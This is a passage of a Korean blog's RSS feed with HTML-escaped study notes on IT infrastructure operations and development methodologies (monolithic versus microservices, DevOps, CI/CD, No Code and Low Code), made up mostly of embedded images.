data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- AIOps: AI + Ops(Operations), IT운영의 자동화 및 관리를 위해 빅데이터 분석에 머신러닝을 적용하는 것&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1051&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8sL8N/btsOkEIzWcF/eYDSgj553K9qfFAtTdMji1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8sL8N/btsOkEIzWcF/eYDSgj553K9qfFAtTdMji1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8sL8N/btsOkEIzWcF/eYDSgj553K9qfFAtTdMji1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8sL8N%2FbtsOkEIzWcF%2FeYDSgj553K9qfFAtTdMji1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1051&quot; height=&quot;428&quot; data-origin-width=&quot;1051&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IT 인프라 관리 및 운영 자동화를 위해 필요한 대표적인 서비스&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btAzsL/btsOkEBRWMz/jLSKwcKOS6KDkO602Idqu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btAzsL/btsOkEBRWMz/jLSKwcKOS6KDkO602Idqu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btAzsL/btsOkEBRWMz/jLSKwcKOS6KDkO602Idqu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtAzsL%2FbtsOkEBRWMz%2FjLSKwcKOS6KDkO602Idqu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;487&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>IT 인프라</category>
      <category>고가용성</category>
      <category>모니터링</category>
      <category>운영</category>
      <category>자동화</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/222</guid>
      <comments>https://it-log.tistory.com/222#entry222comment</comments>
      <pubDate>Sat, 31 May 2025 22:00:23 +0900</pubDate>
    </item>
    <item>
      <title>개발 모델 및 방법론</title>
      <link>https://it-log.tistory.com/221</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;개발 모델(Monolithic vs MSA)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 모놀리식 아키텍처: 애플리케이션 계획, 설계, 개발, 테스트, 배포 &lt;b&gt;모든 과정을 한번에 수행하는 모델&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 마이크로서비스 아키텍처: 애플리케이션의 &lt;b&gt;각 요소(기능)별로&lt;/b&gt; 계획, 설계, 개발, 테스트, 배포하는 모델&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;443&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x3fpC/btsN7Vo2PLy/FdqEpjU7FcfQbGZAAkKTtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x3fpC/btsN7Vo2PLy/FdqEpjU7FcfQbGZAAkKTtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x3fpC/btsN7Vo2PLy/FdqEpjU7FcfQbGZAAkKTtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx3fpC%2FbtsN7Vo2PLy%2FFdqEpjU7FcfQbGZAAkKTtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;443&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;443&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1111&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRg5yX/btsN5xiPuzv/8Krz3ercC6Xvw5OT5CrQD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRg5yX/btsN5xiPuzv/8Krz3ercC6Xvw5OT5CrQD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRg5yX/btsN5xiPuzv/8Krz3ercC6Xvw5OT5CrQD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRg5yX%2FbtsN5xiPuzv%2F8Krz3ercC6Xvw5OT5CrQD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1111&quot; height=&quot;581&quot; data-origin-width=&quot;1111&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그룹웨어 비교, 모놀리식 vs MSA&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1061&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mvS5H/btsN6rJbwGq/Y2YWzh7e1MET790LrhA3k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mvS5H/btsN6rJbwGq/Y2YWzh7e1MET790LrhA3k1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mvS5H/btsN6rJbwGq/Y2YWzh7e1MET790LrhA3k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmvS5H%2FbtsN6rJbwGq%2FY2YWzh7e1MET790LrhA3k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1061&quot; height=&quot;595&quot; data-origin-width=&quot;1061&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 모놀리식: 업데이트 동안에는 전체 기능 사용불가, 일부의 오류가 전체 오류에 영향을 미침&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MSA: 분리되어 있어 개별 업데이트가 가능, 업데이트 중인 기능 외 다른 기능 사용 가능&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;개발 방법론(DevOps, CI/CD + @)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데브옵스(DevOps): 개발 &amp;rarr; 테스트 &amp;rarr; 배포 &amp;rarr; 운영까지의 업무를 통합해 앱 개발 및 배포 속도를 높이려는 접근 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기존의 개발자 따로, 운영자 따로 하던 작업을 통합해서 개발자가 운영 작업까지 할 수 있게 됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJppCa/btsN6vSnNeW/8zHJSMNLklPKFGPJu7FYz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJppCa/btsN6vSnNeW/8zHJSMNLklPKFGPJu7FYz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJppCa/btsN6vSnNeW/8zHJSMNLklPKFGPJu7FYz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJppCa%2FbtsN6vSnNeW%2F8zHJSMNLklPKFGPJu7FYz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;366&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- CI/CD: Continuous Integration / Continuous Delivery, Deployment(연속적인 통합 / 연속적인 배포)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 애플리케이션 개발 및 배포 단계를 자동화하여 보다 짧은 주기로 빠르게 애플리케이션을 제공하는 방법론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 코드 작성/수정 이후의 단계를 자동화&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmm7eV/btsOdE2Wf2d/xSmosNgTGMe7oSwQjRsOyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmm7eV/btsOdE2Wf2d/xSmosNgTGMe7oSwQjRsOyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmm7eV/btsOdE2Wf2d/xSmosNgTGMe7oSwQjRsOyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbmm7eV%2FbtsOdE2Wf2d%2FxSmosNgTGMe7oSwQjRsOyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;784&quot; height=&quot;345&quot; data-origin-width=&quot;784&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DevOps, CI/CD를 지원하는 대표적인 클라우드 서비스&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UXxdD/btsOdyV1Y3C/kpn4c6hXX0X6R39k6ILz5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UXxdD/btsOdyV1Y3C/kpn4c6hXX0X6R39k6ILz5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UXxdD/btsOdyV1Y3C/kpn4c6hXX0X6R39k6ILz5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUXxdD%2FbtsOdyV1Y3C%2Fkpn4c6hXX0X6R39k6ILz5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1040&quot; height=&quot;440&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br0zIO/btsOc93lNEF/BnhvjjrFEu0QOFhoQoKJv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br0zIO/btsOc93lNEF/BnhvjjrFEu0QOFhoQoKJv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br0zIO/btsOc93lNEF/BnhvjjrFEu0QOFhoQoKJv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr0zIO%2FbtsOc93lNEF%2FBnhvjjrFEu0QOFhoQoKJv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;412&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/smR0d/btsOdjdJDXq/FzKNk7tz3FfXktwE14Jbm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/smR0d/btsOdjdJDXq/FzKNk7tz3FfXktwE14Jbm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/smR0d/btsOdjdJDXq/FzKNk7tz3FfXktwE14Jbm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsmR0d%2FbtsOdjdJDXq%2FFzKNk7tz3FfXktwE14Jbm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1016&quot; height=&quot;452&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- No Code: 코딩 경험이 전혀 없는 사람을 위한 개발 접근 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 코딩을 완전히 건너뛰고 GUI 환경에서 앱 개발 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tVcsY/btsOfPIu6SM/eSBpRivj66c1k0leHWmm70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tVcsY/btsOfPIu6SM/eSBpRivj66c1k0leHWmm70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tVcsY/btsOfPIu6SM/eSBpRivj66c1k0leHWmm70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtVcsY%2FbtsOfPIu6SM%2FeSBpRivj66c1k0leHWmm70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;795&quot; height=&quot;484&quot; data-origin-width=&quot;795&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 개발자가 아니여도 서비스 개발 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ReIrg/btsOiVPYdsC/4m3jGAoOwXohyXSx49tYak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ReIrg/btsOiVPYdsC/4m3jGAoOwXohyXSx49tYak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ReIrg/btsOiVPYdsC/4m3jGAoOwXohyXSx49tYak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FReIrg%2FbtsOiVPYdsC%2F4m3jGAoOwXohyXSx49tYak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;827&quot; height=&quot;332&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Low Code: No Code와 동일하게 GUI를 활용하나 커스텀 코딩 가능, 좀 더 수준이 높음, 개발자 대상&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;369&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6EB4N/btsOha19TZF/EHuhhg6VJgZhmTkIxSjgzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6EB4N/btsOha19TZF/EHuhhg6VJgZhmTkIxSjgzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6EB4N/btsOha19TZF/EHuhhg6VJgZhmTkIxSjgzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6EB4N%2FbtsOha19TZF%2FEHuhhg6VJgZhmTkIxSjgzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;641&quot; height=&quot;369&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;369&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;339&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ACjRC/btsOjsNjtWo/jhUQJZMQhZpZZdumFxJ5F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ACjRC/btsOjsNjtWo/jhUQJZMQhZpZZdumFxJ5F0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ACjRC/btsOjsNjtWo/jhUQJZMQhZpZZdumFxJ5F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FACjRC%2FbtsOjsNjtWo%2FjhUQJZMQhZpZZdumFxJ5F0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;817&quot; height=&quot;339&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;339&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 대표적인 No Code, Low Code 서비스&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;379&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cL9kaS/btsOjviY0WS/w2vaEDf0bZbudSk4KiPwxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cL9kaS/btsOjviY0WS/w2vaEDf0bZbudSk4KiPwxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cL9kaS/btsOjviY0WS/w2vaEDf0bZbudSk4KiPwxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcL9kaS%2FbtsOjviY0WS%2Fw2vaEDf0bZbudSk4KiPwxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;379&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;379&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시민 개발자(Citizen Developer): 개발자가 아니지만 업무용 소프트웨어를 직접 개발하는 임직원&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;846&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cquaPF/btsOhd5qiFa/6B7RAYyK2spgid0cYTDkzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cquaPF/btsOhd5qiFa/6B7RAYyK2spgid0cYTDkzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cquaPF/btsOhd5qiFa/6B7RAYyK2spgid0cYTDkzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcquaPF%2FbtsOhd5qiFa%2F6B7RAYyK2spgid0cYTDkzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;846&quot; height=&quot;383&quot; data-origin-width=&quot;846&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
